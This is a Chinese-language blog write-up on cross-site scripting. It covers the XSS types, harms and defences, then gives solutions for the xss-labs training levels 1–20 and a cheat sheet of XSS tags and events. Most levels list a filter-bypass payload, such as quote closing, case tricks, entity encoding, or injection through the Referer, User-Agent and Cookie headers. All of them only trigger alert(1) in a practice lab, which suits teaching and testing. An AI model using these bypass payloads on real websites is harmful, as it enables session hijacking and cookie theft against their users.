【渗透测试】跨站脚本攻击(XSS):xss-labs通关简记

目录

🌺一、跨站脚本攻击(XSS)

🌻1.1 漏洞简介

🌻1.2 XSS的攻击方式

🌼1.2.1 反射型XSS

🌼1.2.2 存储型XSS

🌼1.2.3 DOM型XSS

🌻1.3 XSS危害

🌻1.4 XSS防御

🌺二、xss-labs通关简记

🌻Level1

🌻Level2

🌻Level3

🌻Level4

🌻Level5

🌻Level6

🌻Level7

🌻Level8

🌻Level9

🌻Level10

🌻Level11

🌻Level12

🌻Level13

🌻Level14

🌻Level15

🌻Level16

🌻Level17

🌻Level18

🌻Level19

🌻Level20

🌺三、补充知识

🌻3.1 <>被html实体转义绕过方法(构造特殊事件绕过)

🌻3.2 常见新建标签绕过代码

🌻3.3 ng-include指令


🌺一、跨站脚本攻击(XSS)

🌻1.1 漏洞简介

        XSS又叫CSS(Cross Site Script)跨站脚本攻击,是指恶意攻击者往web页面中插入恶意代码,当用户浏览该网页时,嵌入其中的恶意代码会被执行,从而达到恶意的特殊目的。XSS属于被动式的攻击。
        XSS最大的特点就是能注入恶意的HTML/JavaScript代码到用户浏览的网页上,从而达到劫持用户会话的目的。由于HTML代码和客户端JavaScript脚本能在受害者主机上的浏览器任意执行,这样等同于完全控制了Web客户端的逻辑,在这个基础上,黑客或攻击者可以轻易地发动各种各样的攻击。

        xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

常见的输出函数有: echo printf print print_r sprintf die var-dump var_export。

 

🌻1.2 XSS的攻击方式

🌼1.2.1 反射型XSS

        反射性XSS又称为非持久型XSS,攻击者需要通过诱使用户点击包含XSS攻击代码的恶意链接,然后用户浏览器执行恶意代码触发XSS漏洞。常见的就是在URL中构造,将恶意链接发送给目标用户。当用户访问该链接时候,会向服务器发起一个GET请求来提交带有恶意代码的链接。在浏览器中解析,一般情况下,反射性XSS存在于搜索框。通过url控制页面的输出。将参数传入服务器,再又服务器输出出来

🌼1.2.2 存储型XSS

        存储型XSS又称持久化型XSS,此类XSS的代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie。

🌼1.2.3 DOM型XSS

        基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分,也就是web server不参与,仅仅涉及到浏览器的XSS。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理。

        DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面,而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行。

🌻1.3 XSS危害

(1)盗取管理员cookie

        窃取用户的cookie非法登录,使得入侵者具有恶意操纵后台数据的能力,包括读取、更改、添加、删除一些信息。

(2)网站挂马。

        先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时,用户的计算机会被植入木马。

(3)发送广告或者垃圾信息

        攻击者可以利用XSS漏洞植入广告,或者发送垃圾信息,严重影响到用户的正常使用。

 

🌻1.4 XSS防御

(1)对输入(和URL参数)进行过滤、转义编码等

(2)对输出进行编码

(3)在服务器端对 Cookie 设置了HttpOnly 属性,那么js脚本就不能读取到cookie

(4)使用XSS Filter。XSS Filter的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果。XSS Filter作为防御跨站攻击的主要手段之一,已经广泛应用在各类Web系统之中,包括现今的许多应用软件,例如IE8浏览器,通过加入 XSS Filter功能可以有效防范所有非持久型的XSS攻击。

🌺二、xss-labs通关简记

🌻Level1

绕过方法:直接注入

payload:

<script>alert(1)</script>

🌻Level2

绕过方法:提前闭合绕过">闭合

原理分析:查看源代码,提前闭合value值即可,根据其形式,可用">闭合

payload:

"><script>alert(1)</script>//

🌻Level3

绕过方法:提前闭合('闭合) + 特殊事件

原理分析:利用level2的payload,查看源代码发现"和<>被转换成了html实体,那么原有的js代码就不会被当做执行。此时就需要绕开使用新标签(即避免使用<>),同时还要提前闭合(用')

payload:

' onclick = 'javascript:alert(1)'//

🌻Level4

绕过方法:提前闭合("闭合) + 特殊事件

原理分析:将level3的单引号闭合换成双引号闭合即可

payload:

" onclick = 'javascript:alert(1)'//

🌻Level5

绕过方法:提前闭合(">闭合) + 新建标签

原理分析:对其进行注入,发现过滤了script、onclick等关键词,并且双写,大小写也无法绕过。此时可以通过构造a标签绕过

payload:

"> <a href=javascript:alert(1) > xss</a> //

🌻Level6

 绕过方法:提前闭合(">闭合) + 新建标签 + 大小写

原理分析:利用level5的payload,发现在过滤了script、onclick等关键字的基础上又对href关键字进行过滤(使用“_”分开),此时可以尝试使用大小写绕过

payload:

"> <a hREf=javascript:alert(1) > xss</a> //

🌻Level7

绕过方法:提前闭合(">闭合) + 双写

原理分析:尝试注入"><script>alert(1)</script>,发现script等关键词被过滤删除,尝试双写绕过,发现成功

payload:

"><scriscriptpt>alert(1)</scscriptript>

🌻Level8

绕过方法:Unicode编码(UnicodeASCII

原理分析:利用上一关payload进行测试,发现输入的语句被插入到<a>标签的href属性中,并且对script等关键词进行了破坏使其失去原有含义,根据level6的经验,<a>标签以及href属性已经存在,故只需要插入javascript:alert(1)语句即可,但script关键词被破坏,所以在此要对插入的语句进行Unicode编码绕过

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

🌻Level9

绕过方法:合法链接 + Unicode编码

原理分析:利用上一关的payload,发现提示链接不合法,因此这里要输入合法的链接。尝试输入合法链接,并在链接前后做手脚,发现可以通过验证(注意这里只能添加http协议的链接),但是发现其对script等关键词进行了破坏,因此对关键语句进行Unicode编码绕过。

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com(链接前的//是为了防止跳转到链接网站)

 

🌻Level10

绕过方法:隐藏属性 + 特殊事件

原理分析:注入语句"<> script onclick进行观察,发现其对"和<>进行了转义,同时发现还有三个隐藏的input,设置其属性type使其不再隐藏(在url链接后分别添加以下语句,看哪一个可以显示输入框:t_link=" type='text'>、t_history=" type='text'>、t_sort=" type='text'>),找到可用的标签参数,经过尝试发现t_sort可用

payload:

t_sort=" type='text' onclick="alert(1)>

 

🌻Level11

绕过方法:Referer注入

原理分析:注入语句"<> script onclick进行观察,发现其对"和<>进行了转义,同时发现还有四个隐藏的input,构造语句对其进行检查(t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//&t_ref=" type='text'>//),发现无回显,查看网页源码,发现t_sort接收了参数值,但是对双引号进行了html编码,导致无法闭合。分析数据报发现没有referer字段,此时进行抓包,构造并添加referer进行注入,发现可以成功对t_sort进行传参,实现绕过

payload:

referer:" type='text' onclick='javascript:alert(1)'>//

 

🌻Level12

绕过方法:UA注入

原理分析:注入语句"<> script onclick进行观察,发现其对"和<>进行了转义,同时发现还有四个隐藏的input,并且发现t_ua参数的value字段为user-agent字段内容,所以在此尝试UA注入绕过

payload:

User-Agent:" type='text' onclick='javascript:alert(1)'>//

🌻Level13

绕过方法:Cookie注入

原理分析:注入语句"<> script onclick进行观察,发现其对"和<>进行了转义,同时发现还有四个隐藏的input,并且发现t_cook参数的value字段为有内容提示,所以在此尝试cookie注入绕过,并且成功

payload:

Cookie:user=" type='text' onclick='javascript:alert(1)'>//

🌻Level14

题目有问题

🌻Level15

绕过方法:<img>标签

原理分析:注入语句"<> script onclick进行观察,发现其对"和<>进行了转义编码,并且有一个ng-include指令,其相当于php的include函数。结果分析以及src=1.gif这一提示,可以尝试使用<img>标签进行绕过

payload:

src='level1.php?name=<img src=1 onerror=alert(1)>'

(这里我们不是单纯的去包含level1.php,而是在后面添加了name参数值。这就有点像是在访问了该参数值中地址之后把它响应在浏览器端的html文件给包含进来的意思)

🌻Level16

绕过方法:回车 + url编码 + 无需闭合的标签

原理分析:注入语句"</> script onclick进行观察,发现其将空格、/、script都替换成了&nbsp;,则经典script语句以及需要闭合的标签(需要/的,如</script>)无法使用,因为是center标签所以无法使用特殊事件,所以综合考虑尝试插入无需闭合的标签,如<a>、<img>等,其中空格可以使用回车绕过,回车的url编码为%0a

payload:

<a%0Aonclick='alert(1)'>、<img%0Asrc=x%0Aonerror=alert(1)>

 

🌻Level17

绕过方法:<embed>标签 + 特殊事件

原理分析:注入语句"</> script onclick进行观察,发现引号和<>都被过滤编码,发现有一个新的标签<embed>,查阅得知该标签就是引入一个swf文件到浏览器端,并且它的src属性值没有添加引号,所以不用闭合,在此使用特殊事件即可(注:在这里使用onclick时点击出错,可能是设置问题,换其他时间即可成功)

payload:

123%20onmouseover=alert(%27xss%27)

🌻Level18

同level17

🌻Level19

🌻Level20

Level19Level20均为flash xss,需要反编译

🌺三、补充知识

🌻3.1 <>被html实体转义绕过方法(构造特殊事件绕过)

(1)onclick = 'javascript:alert(1)':点击元素(即输入框)时界面触发执行js代码

(2)onfocus = 'javascript:alert(1)':当input框获取焦点时执行js代码

(3)onmouseup = 'javascript:alert(1)':当点击输入框并松开鼠标时触发执行js代码

(4)onblur = 'javascript:alert(1)':点击输入框并离开时触发执行js代码

(5)onmouseover= 'javascript:alert(1)':鼠标移动到该标签时触发

注:以上常见特殊事件js代码还可写成如下形式:onclick =alert(1)

🌻3.2 常见新建标签绕过代码

(1)<p onclick="alert('xss');">xss</p>

(2)<input onclick="alert('xss');">

(3)<details ontoggle="alert('xss');"></details

(4)<select onfocus="alert('xss');" autofocus></select>

(5)<body onload="alert('xss');"></body>:页面载入完毕后执行js代码

(6)<img src=x onerror=alert(1)>:图片加载失败触发

(7)<iframe src="javascript:alert(1)">test<iframe>

(8)<svg onload=alert(1)>

🌻3.3 ng-include指令

(1)ng-include 指令用于包含外部的 HTML文件。

(2)包含的内容将作为指定元素的子节点。

(3)ng-include属性的值可以是一个表达式,返回一个文件名。

(4)默认情况下,包含的文件需要包含在同一个域名下。

特别值得注意的几点如下:

(1)ng-include,如果单纯指定地址,必须要加引号

(2)ng-include,加载外部html,script标签中的内容不执行

(3)ng-include,加载外部html中含有style标签样式可以识别

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

离陌lm

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值